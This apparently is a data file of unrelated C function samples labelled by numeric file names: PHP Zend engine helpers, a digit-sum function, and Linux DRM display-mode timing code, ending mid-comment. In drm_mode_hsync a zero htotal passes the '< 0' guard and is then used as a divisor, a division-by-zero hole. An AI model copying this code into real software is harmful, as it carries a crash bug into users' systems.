*/ ZEND_API void zend_replace_error_handling(zend_error_handling_t error_handling, zend_class_entry *exception_class, zend_error_handling *current) /* {{{ */ { if (current) { zend_save_error_handling(current); if (error_handling != EH_NORMAL && Z_TYPE(EG(user_error_handler)) != IS_UNDEF) { zval_ptr_dtor(&EG(user_error_handler)); ZVAL_UNDEF(&EG(user_error_handler)); } } EG(error_handling) = error_handling; EG(exception_class) = error_handling == EH_THROW ? exception_class : NULL; } /* }}} */ static int same_zval(zval *zv1, zval *zv2) /* {{{ */ { if (Z_TYPE_P(zv1) != Z_TYPE_P(zv2)) { return 0; } switch (Z_TYPE_P(zv1)) { case IS_UNDEF: case IS_NULL: case IS_FALSE: case IS_TRUE: return 1; case IS_LONG: return Z_LVAL_P(zv1) == Z_LVAL_P(zv2); case IS_DOUBLE: return Z_LVAL_P(zv1) == Z_LVAL_P(zv2); case IS_STRING: case IS_ARRAY: case IS_OBJECT: case IS_RESOURCE: return Z_COUNTED_P(zv1) == Z_COUNTED_P(zv2); default: return 0; } } /* }}} */ ZEND_API void zend_restore_error_handling(zend_error_handling *saved) /* {{{ */ { EG(error_handling) = saved->handling; EG(exception_class) = saved->handling == EH_THROW ? saved->exception : NULL; if (Z_TYPE(saved->user_handler) != IS_UNDEF && !same_zval(&saved->user_handler, &EG(user_error_handler))) { zval_ptr_dtor(&EG(user_error_handler)); ZVAL_COPY_VALUE(&EG(user_error_handler), &saved->user_handler); } else if (Z_TYPE(saved->user_handler)) { zval_ptr_dtor(&saved->user_handler); } ZVAL_UNDEF(&saved->user_handler); } /* }}} */ ZEND_API zend_string* zend_find_alias_name(zend_class_entry *ce, zend_string *name) /* {{{ */ { zend_trait_alias *alias, **alias_ptr; if ((alias_ptr = ce->trait_aliases)) { alias = *alias_ptr; while (alias) { if (alias->alias && zend_string_equals_ci(alias->alias, name)) { return alias->alias; } alias_ptr++; alias = *alias_ptr; } } return name; } /* }}} */ ZEND_API zend_string *zend_resolve_method_name(zend_class_entry *ce, zend_function *f) /* {{{ */ { zend_function *func; HashTable *function_table; zend_string *name; if (f->common.type != ZEND_USER_FUNCTION || (f->op_array.refcount && *(f->op_array.refcount) < 2) || !f->common.scope || !f->common.scope->trait_aliases) { return f->common.function_name; } function_table = &ce->function_table; ZEND_HASH_FOREACH_STR_KEY_PTR(function_table, name, func) { if (func == f) { if (!name) { return f->common.function_name; } if (ZSTR_LEN(name) == ZSTR_LEN(f->common.function_name) && !strncasecmp(ZSTR_VAL(name), ZSTR_VAL(f->common.function_name), ZSTR_LEN(f->common.function_name))) { return f->common.function_name; } return zend_find_alias_name(f->common.scope, name); } } ZEND_HASH_FOREACH_END(); return f->common.function_name; } /* }}} */ ZEND_API const char *zend_get_object_type(const zend_class_entry *ce) /* {{{ */ { if(ce->ce_flags & ZEND_ACC_TRAIT) { return "trait"; } else if (ce->ce_flags & ZEND_ACC_INTERFACE) { return "interface"; } else { return "class"; } } /* }}} */ ZEND_API zend_bool zend_is_iterable(zval *iterable) /* {{{ */ { switch (Z_TYPE_P(iterable)) { case IS_ARRAY: return 1; case IS_OBJECT: return instanceof_function(Z_OBJCE_P(iterable), zend_ce_traversable); default: return 0; } } /* }}} */ ZEND_API zend_bool zend_is_countable(zval *countable) /* {{{ */ { switch (Z_TYPE_P(countable)) { case IS_ARRAY: return 1; case IS_OBJECT: if (Z_OBJ_HT_P(countable)->count_elements) { return 1; } return instanceof_function(Z_OBJCE_P(countable), zend_ce_countable); default: return 0; } } /* }}} */
247286.c
//Congruence formula in digital sum int addDigits(int num) { int x; x = 1 + (num-1)%9; return x; }
467136.c
/* * Copyright © 1997-2003 by The XFree86 Project, Inc. * Copyright © 2007 Dave Airlie * Copyright © 2007-2008 Intel Corporation * Jesse Barnes <[email protected]> * Copyright 2005-2006 Luc Verhaegen * Copyright (c) 2001, Andy Ritger [email protected] * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Except as contained in this notice, the name of the copyright holder(s) * and author(s) shall not be used in advertising or otherwise to promote * the sale, use or other dealings in this Software without prior written * authorization from the copyright holder(s) and author(s). */ #include <linux/list.h> #include <linux/list_sort.h> #include <linux/export.h> #include <drm/drmP.h> #include <drm/drm_crtc.h> #include <video/of_videomode.h> #include <video/videomode.h> #include <drm/drm_modes.h> #include "drm_crtc_internal.h" /** * drm_mode_debug_printmodeline - print a mode to dmesg * @mode: mode to print * * Describe @mode using DRM_DEBUG. */ void drm_mode_debug_printmodeline(const struct drm_display_mode *mode) { DRM_DEBUG_KMS("Modeline %d:\"%s\" %d %d %d %d %d %d %d %d %d %d " "0x%x 0x%x\n", mode->base.id, mode->name, mode->vrefresh, mode->clock, mode->hdisplay, mode->hsync_start, mode->hsync_end, mode->htotal, mode->vdisplay, mode->vsync_start, mode->vsync_end, mode->vtotal, mode->type, mode->flags); } EXPORT_SYMBOL(drm_mode_debug_printmodeline); /** * drm_mode_create - create a new display mode * @dev: DRM device * * Create a new, cleared drm_display_mode with kzalloc, allocate an ID for it * and return it. * * Returns: * Pointer to new mode on success, NULL on error. */ struct drm_display_mode *drm_mode_create(struct drm_device *dev) { struct drm_display_mode *nmode; nmode = kzalloc(sizeof(struct drm_display_mode), GFP_KERNEL); if (!nmode) return NULL; if (drm_mode_object_get(dev, &nmode->base, DRM_MODE_OBJECT_MODE)) { kfree(nmode); return NULL; } return nmode; } EXPORT_SYMBOL(drm_mode_create); /** * drm_mode_destroy - remove a mode * @dev: DRM device * @mode: mode to remove * * Release @mode's unique ID, then free it @mode structure itself using kfree. */ void drm_mode_destroy(struct drm_device *dev, struct drm_display_mode *mode) { if (!mode) return; drm_mode_object_unregister(dev, &mode->base); kfree(mode); } EXPORT_SYMBOL(drm_mode_destroy); /** * drm_mode_probed_add - add a mode to a connector's probed_mode list * @connector: connector the new mode * @mode: mode data * * Add @mode to @connector's probed_mode list for later use. This list should * then in a second step get filtered and all the modes actually supported by * the hardware moved to the @connector's modes list. */ void drm_mode_probed_add(struct drm_connector *connector, struct drm_display_mode *mode) { WARN_ON(!mutex_is_locked(&connector->dev->mode_config.mutex)); list_add_tail(&mode->head, &connector->probed_modes); } EXPORT_SYMBOL(drm_mode_probed_add); /** * drm_cvt_mode -create a modeline based on the CVT algorithm * @dev: drm device * @hdisplay: hdisplay size * @vdisplay: vdisplay size * @vrefresh: vrefresh rate * @reduced: whether to use reduced blanking * @interlaced: whether to compute an interlaced mode * @margins: whether to add margins (borders) * * This function is called to generate the modeline based on CVT algorithm * according to the hdisplay, vdisplay, vrefresh. * It is based from the VESA(TM) Coordinated Video Timing Generator by * Graham Loveridge April 9, 2003 available at * http://www.elo.utfsm.cl/~elo212/docs/CVTd6r1.xls * * And it is copied from xf86CVTmode in xserver/hw/xfree86/modes/xf86cvt.c. * What I have done is to translate it by using integer calculation. * * Returns: * The modeline based on the CVT algorithm stored in a drm_display_mode object. * The display mode object is allocated with drm_mode_create(). Returns NULL * when no mode could be allocated. */ struct drm_display_mode *drm_cvt_mode(struct drm_device *dev, int hdisplay, int vdisplay, int vrefresh, bool reduced, bool interlaced, bool margins) { #define HV_FACTOR 1000 /* 1) top/bottom margin size (% of height) - default: 1.8, */ #define CVT_MARGIN_PERCENTAGE 18 /* 2) character cell horizontal granularity (pixels) - default 8 */ #define CVT_H_GRANULARITY 8 /* 3) Minimum vertical porch (lines) - default 3 */ #define CVT_MIN_V_PORCH 3 /* 4) Minimum number of vertical back porch lines - default 6 */ #define CVT_MIN_V_BPORCH 6 /* Pixel Clock step (kHz) */ #define CVT_CLOCK_STEP 250 struct drm_display_mode *drm_mode; unsigned int vfieldrate, hperiod; int hdisplay_rnd, hmargin, vdisplay_rnd, vmargin, vsync; int interlace; /* allocate the drm_display_mode structure. If failure, we will * return directly */ drm_mode = drm_mode_create(dev); if (!drm_mode) return NULL; /* the CVT default refresh rate is 60Hz */ if (!vrefresh) vrefresh = 60; /* the required field fresh rate */ if (interlaced) vfieldrate = vrefresh * 2; else vfieldrate = vrefresh; /* horizontal pixels */ hdisplay_rnd = hdisplay - (hdisplay % CVT_H_GRANULARITY); /* determine the left&right borders */ hmargin = 0; if (margins) { hmargin = hdisplay_rnd * CVT_MARGIN_PERCENTAGE / 1000; hmargin -= hmargin % CVT_H_GRANULARITY; } /* find the total active pixels */ drm_mode->hdisplay = hdisplay_rnd + 2 * hmargin; /* find the number of lines per field */ if (interlaced) vdisplay_rnd = vdisplay / 2; else vdisplay_rnd = vdisplay; /* find the top & bottom borders */ vmargin = 0; if (margins) vmargin = vdisplay_rnd * CVT_MARGIN_PERCENTAGE / 1000; drm_mode->vdisplay = vdisplay + 2 * vmargin; /* Interlaced */ if (interlaced) interlace = 1; else interlace = 0; /* Determine VSync Width from aspect ratio */ if (!(vdisplay % 3) && ((vdisplay * 4 / 3) == hdisplay)) vsync = 4; else if (!(vdisplay % 9) && ((vdisplay * 16 / 9) == hdisplay)) vsync = 5; else if (!(vdisplay % 10) && ((vdisplay * 16 / 10) == hdisplay)) vsync = 6; else if (!(vdisplay % 4) && ((vdisplay * 5 / 4) == hdisplay)) vsync = 7; else if (!(vdisplay % 9) && ((vdisplay * 15 / 9) == hdisplay)) vsync = 7; else /* custom */ vsync = 10; if (!reduced) { /* simplify the GTF calculation */ /* 4) Minimum time of vertical sync + back porch interval (µs) * default 550.0 */ int tmp1, tmp2; #define CVT_MIN_VSYNC_BP 550 /* 3) Nominal HSync width (% of line period) - default 8 */ #define CVT_HSYNC_PERCENTAGE 8 unsigned int hblank_percentage; int vsyncandback_porch, vback_porch, hblank; /* estimated the horizontal period */ tmp1 = HV_FACTOR * 1000000 - CVT_MIN_VSYNC_BP * HV_FACTOR * vfieldrate; tmp2 = (vdisplay_rnd + 2 * vmargin + CVT_MIN_V_PORCH) * 2 + interlace; hperiod = tmp1 * 2 / (tmp2 * vfieldrate); tmp1 = CVT_MIN_VSYNC_BP * HV_FACTOR / hperiod + 1; /* 9. Find number of lines in sync + backporch */ if (tmp1 < (vsync + CVT_MIN_V_PORCH)) vsyncandback_porch = vsync + CVT_MIN_V_PORCH; else vsyncandback_porch = tmp1; /* 10. Find number of lines in back porch */ vback_porch = vsyncandback_porch - vsync; drm_mode->vtotal = vdisplay_rnd + 2 * vmargin + vsyncandback_porch + CVT_MIN_V_PORCH; /* 5) Definition of Horizontal blanking time limitation */ /* Gradient (%/kHz) - default 600 */ #define CVT_M_FACTOR 600 /* Offset (%) - default 40 */ #define CVT_C_FACTOR 40 /* Blanking time scaling factor - default 128 */ #define CVT_K_FACTOR 128 /* Scaling factor weighting - default 20 */ #define CVT_J_FACTOR 20 #define CVT_M_PRIME (CVT_M_FACTOR * CVT_K_FACTOR / 256) #define CVT_C_PRIME ((CVT_C_FACTOR - CVT_J_FACTOR) * CVT_K_FACTOR / 256 + \ CVT_J_FACTOR) /* 12. Find ideal blanking duty cycle from formula */ hblank_percentage = CVT_C_PRIME * HV_FACTOR - CVT_M_PRIME * hperiod / 1000; /* 13. Blanking time */ if (hblank_percentage < 20 * HV_FACTOR) hblank_percentage = 20 * HV_FACTOR; hblank = drm_mode->hdisplay * hblank_percentage / (100 * HV_FACTOR - hblank_percentage); hblank -= hblank % (2 * CVT_H_GRANULARITY); /* 14. find the total pixels per line */ drm_mode->htotal = drm_mode->hdisplay + hblank; drm_mode->hsync_end = drm_mode->hdisplay + hblank / 2; drm_mode->hsync_start = drm_mode->hsync_end - (drm_mode->htotal * CVT_HSYNC_PERCENTAGE) / 100; drm_mode->hsync_start += CVT_H_GRANULARITY - drm_mode->hsync_start % CVT_H_GRANULARITY; /* fill the Vsync values */ drm_mode->vsync_start = drm_mode->vdisplay + CVT_MIN_V_PORCH; drm_mode->vsync_end = drm_mode->vsync_start + vsync; } else { /* Reduced blanking */ /* Minimum vertical blanking interval time (µs)- default 460 */ #define CVT_RB_MIN_VBLANK 460 /* Fixed number of clocks for horizontal sync */ #define CVT_RB_H_SYNC 32 /* Fixed number of clocks for horizontal blanking */ #define CVT_RB_H_BLANK 160 /* Fixed number of lines for vertical front porch - default 3*/ #define CVT_RB_VFPORCH 3 int vbilines; int tmp1, tmp2; /* 8. Estimate Horizontal period. */ tmp1 = HV_FACTOR * 1000000 - CVT_RB_MIN_VBLANK * HV_FACTOR * vfieldrate; tmp2 = vdisplay_rnd + 2 * vmargin; hperiod = tmp1 / (tmp2 * vfieldrate); /* 9. Find number of lines in vertical blanking */ vbilines = CVT_RB_MIN_VBLANK * HV_FACTOR / hperiod + 1; /* 10. Check if vertical blanking is sufficient */ if (vbilines < (CVT_RB_VFPORCH + vsync + CVT_MIN_V_BPORCH)) vbilines = CVT_RB_VFPORCH + vsync + CVT_MIN_V_BPORCH; /* 11. Find total number of lines in vertical field */ drm_mode->vtotal = vdisplay_rnd + 2 * vmargin + vbilines; /* 12. Find total number of pixels in a line */ drm_mode->htotal = drm_mode->hdisplay + CVT_RB_H_BLANK; /* Fill in HSync values */ drm_mode->hsync_end = drm_mode->hdisplay + CVT_RB_H_BLANK / 2; drm_mode->hsync_start = drm_mode->hsync_end - CVT_RB_H_SYNC; /* Fill in VSync values */ drm_mode->vsync_start = drm_mode->vdisplay + CVT_RB_VFPORCH; drm_mode->vsync_end = drm_mode->vsync_start + vsync; } /* 15/13. Find pixel clock frequency (kHz for xf86) */ drm_mode->clock = drm_mode->htotal * HV_FACTOR * 1000 / hperiod; drm_mode->clock -= drm_mode->clock % CVT_CLOCK_STEP; /* 18/16. Find actual vertical frame frequency */ /* ignore - just set the mode flag for interlaced */ if (interlaced) { drm_mode->vtotal *= 2; drm_mode->flags |= DRM_MODE_FLAG_INTERLACE; } /* Fill the mode line name */ drm_mode_set_name(drm_mode); if (reduced) drm_mode->flags |= (DRM_MODE_FLAG_PHSYNC | DRM_MODE_FLAG_NVSYNC); else drm_mode->flags |= (DRM_MODE_FLAG_PVSYNC | DRM_MODE_FLAG_NHSYNC); return drm_mode; } EXPORT_SYMBOL(drm_cvt_mode); /** * drm_gtf_mode_complex - create the modeline based on the full GTF algorithm * @dev: drm device * @hdisplay: hdisplay size * @vdisplay: vdisplay size * @vrefresh: vrefresh rate. * @interlaced: whether to compute an interlaced mode * @margins: desired margin (borders) size * @GTF_M: extended GTF formula parameters * @GTF_2C: extended GTF formula parameters * @GTF_K: extended GTF formula parameters * @GTF_2J: extended GTF formula parameters * * GTF feature blocks specify C and J in multiples of 0.5, so we pass them * in here multiplied by two. For a C of 40, pass in 80. * * Returns: * The modeline based on the full GTF algorithm stored in a drm_display_mode object. * The display mode object is allocated with drm_mode_create(). Returns NULL * when no mode could be allocated. */ struct drm_display_mode * drm_gtf_mode_complex(struct drm_device *dev, int hdisplay, int vdisplay, int vrefresh, bool interlaced, int margins, int GTF_M, int GTF_2C, int GTF_K, int GTF_2J) { /* 1) top/bottom margin size (% of height) - default: 1.8, */ #define GTF_MARGIN_PERCENTAGE 18 /* 2) character cell horizontal granularity (pixels) - default 8 */ #define GTF_CELL_GRAN 8 /* 3) Minimum vertical porch (lines) - default 3 */ #define GTF_MIN_V_PORCH 1 /* width of vsync in lines */ #define V_SYNC_RQD 3 /* width of hsync as % of total line */ #define H_SYNC_PERCENT 8 /* min time of vsync + back porch (microsec) */ #define MIN_VSYNC_PLUS_BP 550 /* C' and M' are part of the Blanking Duty Cycle computation */ #define GTF_C_PRIME ((((GTF_2C - GTF_2J) * GTF_K / 256) + GTF_2J) / 2) #define GTF_M_PRIME (GTF_K * GTF_M / 256) struct drm_display_mode *drm_mode; unsigned int hdisplay_rnd, vdisplay_rnd, vfieldrate_rqd; int top_margin, bottom_margin; int interlace; unsigned int hfreq_est; int vsync_plus_bp, vback_porch; unsigned int vtotal_lines, vfieldrate_est, hperiod; unsigned int vfield_rate, vframe_rate; int left_margin, right_margin; unsigned int total_active_pixels, ideal_duty_cycle; unsigned int hblank, total_pixels, pixel_freq; int hsync, hfront_porch, vodd_front_porch_lines; unsigned int tmp1, tmp2; drm_mode = drm_mode_create(dev); if (!drm_mode) return NULL; /* 1. In order to give correct results, the number of horizontal * pixels requested is first processed to ensure that it is divisible * by the character size, by rounding it to the nearest character * cell boundary: */ hdisplay_rnd = (hdisplay + GTF_CELL_GRAN / 2) / GTF_CELL_GRAN; hdisplay_rnd = hdisplay_rnd * GTF_CELL_GRAN; /* 2. If interlace is requested, the number of vertical lines assumed * by the calculation must be halved, as the computation calculates * the number of vertical lines per field. */ if (interlaced) vdisplay_rnd = vdisplay / 2; else vdisplay_rnd = vdisplay; /* 3. Find the frame rate required: */ if (interlaced) vfieldrate_rqd = vrefresh * 2; else vfieldrate_rqd = vrefresh; /* 4. Find number of lines in Top margin: */ top_margin = 0; if (margins) top_margin = (vdisplay_rnd * GTF_MARGIN_PERCENTAGE + 500) / 1000; /* 5. Find number of lines in bottom margin: */ bottom_margin = top_margin; /* 6. If interlace is required, then set variable interlace: */ if (interlaced) interlace = 1; else interlace = 0; /* 7. Estimate the Horizontal frequency */ { tmp1 = (1000000 - MIN_VSYNC_PLUS_BP * vfieldrate_rqd) / 500; tmp2 = (vdisplay_rnd + 2 * top_margin + GTF_MIN_V_PORCH) * 2 + interlace; hfreq_est = (tmp2 * 1000 * vfieldrate_rqd) / tmp1; } /* 8. Find the number of lines in V sync + back porch */ /* [V SYNC+BP] = RINT(([MIN VSYNC+BP] * hfreq_est / 1000000)) */ vsync_plus_bp = MIN_VSYNC_PLUS_BP * hfreq_est / 1000; vsync_plus_bp = (vsync_plus_bp + 500) / 1000; /* 9. Find the number of lines in V back porch alone: */ vback_porch = vsync_plus_bp - V_SYNC_RQD; /* 10. Find the total number of lines in Vertical field period: */ vtotal_lines = vdisplay_rnd + top_margin + bottom_margin + vsync_plus_bp + GTF_MIN_V_PORCH; /* 11. Estimate the Vertical field frequency: */ vfieldrate_est = hfreq_est / vtotal_lines; /* 12. Find the actual horizontal period: */ hperiod = 1000000 / (vfieldrate_rqd * vtotal_lines); /* 13. Find the actual Vertical field frequency: */ vfield_rate = hfreq_est / vtotal_lines; /* 14. Find the Vertical frame frequency: */ if (interlaced) vframe_rate = vfield_rate / 2; else vframe_rate = vfield_rate; /* 15. Find number of pixels in left margin: */ if (margins) left_margin = (hdisplay_rnd * GTF_MARGIN_PERCENTAGE + 500) / 1000; else left_margin = 0; /* 16.Find number of pixels in right margin: */ right_margin = left_margin; /* 17.Find total number of active pixels in image and left and right */ total_active_pixels = hdisplay_rnd + left_margin + right_margin; /* 18.Find the ideal blanking duty cycle from blanking duty cycle */ ideal_duty_cycle = GTF_C_PRIME * 1000 - (GTF_M_PRIME * 1000000 / hfreq_est); /* 19.Find the number of pixels in the blanking time to the nearest * double character cell: */ hblank = total_active_pixels * ideal_duty_cycle / (100000 - ideal_duty_cycle); hblank = (hblank + GTF_CELL_GRAN) / (2 * GTF_CELL_GRAN); hblank = hblank * 2 * GTF_CELL_GRAN; /* 20.Find total number of pixels: */ total_pixels = total_active_pixels + hblank; /* 21.Find pixel clock frequency: */ pixel_freq = total_pixels * hfreq_est / 1000; /* Stage 1 computations are now complete; I should really pass * the results to another function and do the Stage 2 computations, * but I only need a few more values so I'll just append the * computations here for now */ /* 17. Find the number of pixels in the horizontal sync period: */ hsync = H_SYNC_PERCENT * total_pixels / 100; hsync = (hsync + GTF_CELL_GRAN / 2) / GTF_CELL_GRAN; hsync = hsync * GTF_CELL_GRAN; /* 18. Find the number of pixels in horizontal front porch period */ hfront_porch = hblank / 2 - hsync; /* 36. Find the number of lines in the odd front porch period: */ vodd_front_porch_lines = GTF_MIN_V_PORCH ; /* finally, pack the results in the mode struct */ drm_mode->hdisplay = hdisplay_rnd; drm_mode->hsync_start = hdisplay_rnd + hfront_porch; drm_mode->hsync_end = drm_mode->hsync_start + hsync; drm_mode->htotal = total_pixels; drm_mode->vdisplay = vdisplay_rnd; drm_mode->vsync_start = vdisplay_rnd + vodd_front_porch_lines; drm_mode->vsync_end = drm_mode->vsync_start + V_SYNC_RQD; drm_mode->vtotal = vtotal_lines; drm_mode->clock = pixel_freq; if (interlaced) { drm_mode->vtotal *= 2; drm_mode->flags |= DRM_MODE_FLAG_INTERLACE; } drm_mode_set_name(drm_mode); if (GTF_M == 600 && GTF_2C == 80 && GTF_K == 128 && GTF_2J == 40) drm_mode->flags = DRM_MODE_FLAG_NHSYNC | DRM_MODE_FLAG_PVSYNC; else drm_mode->flags = DRM_MODE_FLAG_PHSYNC | DRM_MODE_FLAG_NVSYNC; return drm_mode; } EXPORT_SYMBOL(drm_gtf_mode_complex); /** * drm_gtf_mode - create the modeline based on the GTF algorithm * @dev: drm device * @hdisplay: hdisplay size * @vdisplay: vdisplay size * @vrefresh: vrefresh rate. * @interlaced: whether to compute an interlaced mode * @margins: desired margin (borders) size * * return the modeline based on GTF algorithm * * This function is to create the modeline based on the GTF algorithm. * Generalized Timing Formula is derived from: * * GTF Spreadsheet by Andy Morrish (1/5/97) * available at http://www.vesa.org * * And it is copied from the file of xserver/hw/xfree86/modes/xf86gtf.c. * What I have done is to translate it by using integer calculation. * I also refer to the function of fb_get_mode in the file of * drivers/video/fbmon.c * * Standard GTF parameters:: * * M = 600 * C = 40 * K = 128 * J = 20 * * Returns: * The modeline based on the GTF algorithm stored in a drm_display_mode object. * The display mode object is allocated with drm_mode_create(). Returns NULL * when no mode could be allocated. */ struct drm_display_mode * drm_gtf_mode(struct drm_device *dev, int hdisplay, int vdisplay, int vrefresh, bool interlaced, int margins) { return drm_gtf_mode_complex(dev, hdisplay, vdisplay, vrefresh, interlaced, margins, 600, 40 * 2, 128, 20 * 2); } EXPORT_SYMBOL(drm_gtf_mode); #ifdef CONFIG_VIDEOMODE_HELPERS /** * drm_display_mode_from_videomode - fill in @dmode using @vm, * @vm: videomode structure to use as source * @dmode: drm_display_mode structure to use as destination * * Fills out @dmode using the display mode specified in @vm. */ void drm_display_mode_from_videomode(const struct videomode *vm, struct drm_display_mode *dmode) { dmode->hdisplay = vm->hactive; dmode->hsync_start = dmode->hdisplay + vm->hfront_porch; dmode->hsync_end = dmode->hsync_start + vm->hsync_len; dmode->htotal = dmode->hsync_end + vm->hback_porch; dmode->vdisplay = vm->vactive; dmode->vsync_start = dmode->vdisplay + vm->vfront_porch; dmode->vsync_end = dmode->vsync_start + vm->vsync_len; dmode->vtotal = dmode->vsync_end + vm->vback_porch; dmode->clock = vm->pixelclock / 1000; dmode->flags = 0; if (vm->flags & DISPLAY_FLAGS_HSYNC_HIGH) dmode->flags |= DRM_MODE_FLAG_PHSYNC; else if (vm->flags & DISPLAY_FLAGS_HSYNC_LOW) dmode->flags |= DRM_MODE_FLAG_NHSYNC; if (vm->flags & DISPLAY_FLAGS_VSYNC_HIGH) dmode->flags |= DRM_MODE_FLAG_PVSYNC; else if (vm->flags & DISPLAY_FLAGS_VSYNC_LOW) dmode->flags |= DRM_MODE_FLAG_NVSYNC; if (vm->flags & DISPLAY_FLAGS_INTERLACED) dmode->flags |= DRM_MODE_FLAG_INTERLACE; if (vm->flags & DISPLAY_FLAGS_DOUBLESCAN) dmode->flags |= DRM_MODE_FLAG_DBLSCAN; if (vm->flags & DISPLAY_FLAGS_DOUBLECLK) dmode->flags |= DRM_MODE_FLAG_DBLCLK; drm_mode_set_name(dmode); } EXPORT_SYMBOL_GPL(drm_display_mode_from_videomode); /** * drm_display_mode_to_videomode - fill in @vm using @dmode, * @dmode: drm_display_mode structure to use as source * @vm: videomode structure to use as destination * * Fills out @vm using the display mode specified in @dmode. */ void drm_display_mode_to_videomode(const struct drm_display_mode *dmode, struct videomode *vm) { vm->hactive = dmode->hdisplay; vm->hfront_porch = dmode->hsync_start - dmode->hdisplay; vm->hsync_len = dmode->hsync_end - dmode->hsync_start; vm->hback_porch = dmode->htotal - dmode->hsync_end; vm->vactive = dmode->vdisplay; vm->vfront_porch = dmode->vsync_start - dmode->vdisplay; vm->vsync_len = dmode->vsync_end - dmode->vsync_start; vm->vback_porch = dmode->vtotal - dmode->vsync_end; vm->pixelclock = dmode->clock * 1000; vm->flags = 0; if (dmode->flags & DRM_MODE_FLAG_PHSYNC) vm->flags |= DISPLAY_FLAGS_HSYNC_HIGH; else if (dmode->flags & DRM_MODE_FLAG_NHSYNC) vm->flags |= DISPLAY_FLAGS_HSYNC_LOW; if (dmode->flags & DRM_MODE_FLAG_PVSYNC) vm->flags |= DISPLAY_FLAGS_VSYNC_HIGH; else if (dmode->flags & DRM_MODE_FLAG_NVSYNC) vm->flags |= DISPLAY_FLAGS_VSYNC_LOW; if (dmode->flags & DRM_MODE_FLAG_INTERLACE) vm->flags |= DISPLAY_FLAGS_INTERLACED; if (dmode->flags & DRM_MODE_FLAG_DBLSCAN) vm->flags |= DISPLAY_FLAGS_DOUBLESCAN; if (dmode->flags & DRM_MODE_FLAG_DBLCLK) vm->flags |= DISPLAY_FLAGS_DOUBLECLK; } EXPORT_SYMBOL_GPL(drm_display_mode_to_videomode); /** * drm_bus_flags_from_videomode - extract information about pixelclk and * DE polarity from videomode and store it in a separate variable * @vm: videomode structure to use * @bus_flags: information about pixelclk and DE polarity will be stored here * * Sets DRM_BUS_FLAG_DE_(LOW|HIGH) and DRM_BUS_FLAG_PIXDATA_(POS|NEG)EDGE * in @bus_flags according to DISPLAY_FLAGS found in @vm */ void drm_bus_flags_from_videomode(const struct videomode *vm, u32 *bus_flags) { *bus_flags = 0; if (vm->flags & DISPLAY_FLAGS_PIXDATA_POSEDGE) *bus_flags |= DRM_BUS_FLAG_PIXDATA_POSEDGE; if (vm->flags & DISPLAY_FLAGS_PIXDATA_NEGEDGE) *bus_flags |= DRM_BUS_FLAG_PIXDATA_NEGEDGE; if (vm->flags & DISPLAY_FLAGS_DE_LOW) *bus_flags |= DRM_BUS_FLAG_DE_LOW; if (vm->flags & DISPLAY_FLAGS_DE_HIGH) *bus_flags |= DRM_BUS_FLAG_DE_HIGH; } EXPORT_SYMBOL_GPL(drm_bus_flags_from_videomode); #ifdef CONFIG_OF /** * of_get_drm_display_mode - get a drm_display_mode from devicetree * @np: device_node with the timing specification * @dmode: will be set to the return value * @bus_flags: information about pixelclk and DE polarity * @index: index into the list of display timings in devicetree * * This function is expensive and should only be used, if only one mode is to be * read from DT. To get multiple modes start with of_get_display_timings and * work with that instead. * * Returns: * 0 on success, a negative errno code when no of videomode node was found. */ int of_get_drm_display_mode(struct device_node *np, struct drm_display_mode *dmode, u32 *bus_flags, int index) { struct videomode vm; int ret; ret = of_get_videomode(np, &vm, index); if (ret) return ret; drm_display_mode_from_videomode(&vm, dmode); if (bus_flags) drm_bus_flags_from_videomode(&vm, bus_flags); pr_debug("%s: got %dx%d display mode from %s\n", of_node_full_name(np), vm.hactive, vm.vactive, np->name); drm_mode_debug_printmodeline(dmode); return 0; } EXPORT_SYMBOL_GPL(of_get_drm_display_mode); #endif /* CONFIG_OF */ #endif /* CONFIG_VIDEOMODE_HELPERS */ /** * drm_mode_set_name - set the name on a mode * @mode: name will be set in this mode * * Set the name of @mode to a standard format which is <hdisplay>x<vdisplay> * with an optional 'i' suffix for interlaced modes. */ void drm_mode_set_name(struct drm_display_mode *mode) { bool interlaced = !!(mode->flags & DRM_MODE_FLAG_INTERLACE); snprintf(mode->name, DRM_DISPLAY_MODE_LEN, "%dx%d%s", mode->hdisplay, mode->vdisplay, interlaced ? "i" : ""); } EXPORT_SYMBOL(drm_mode_set_name); /** * drm_mode_hsync - get the hsync of a mode * @mode: mode * * Returns: * @modes's hsync rate in kHz, rounded to the nearest integer. Calculates the * value first if it is not yet set. */ int drm_mode_hsync(const struct drm_display_mode *mode) { unsigned int calc_val; if (mode->hsync) return mode->hsync; if (mode->htotal < 0) return 0; calc_val = (mode->clock * 1000) / mode->htotal; /* hsync in Hz */ calc_val += 500; /* round to 1000Hz */ calc_val /= 1000; /* truncate to kHz */ return calc_val; } EXPORT_SYMBOL(drm_mode_hsync); /** * drm_mode_vrefresh - get the vrefresh of a mode * @mode: mode * * Returns: * @modes's vrefresh rate in Hz, rounded to the nearest integer. Calculates the * value first if it is not yet set. */ int drm_mode_vrefresh(const struct drm_display_mode *mode) { int refresh = 0; unsigned int calc_val; if (mode->vrefresh > 0) refresh = mode->vrefresh; else if (mode->htotal > 0 && mode->vtotal > 0) { int vtotal; vtotal = mode->vtotal; /* work out vrefresh the value will be x1000 */ calc_val = (mode->clock * 1000); calc_val /= mode->htotal; refresh = (calc_val + vtotal / 2) / vtotal; if (mode->flags & DRM_MODE_FLAG_INTERLACE) refresh *= 2; if (mode->flags & DRM_MODE_FLAG_DBLSCAN) refresh /= 2; if (mode->vscan > 1) refresh /= mode->vscan; } return refresh; } EXPORT_SYMBOL(drm_mode_vrefresh); /** * drm_mode_set_crtcinfo - set CRTC modesetting timing parameters * @p: mode * @adjust_flags: a combination of adjustment flags * * Setup the CRTC modesetting timing parameters for @p, adjusting if necessary. * * - The 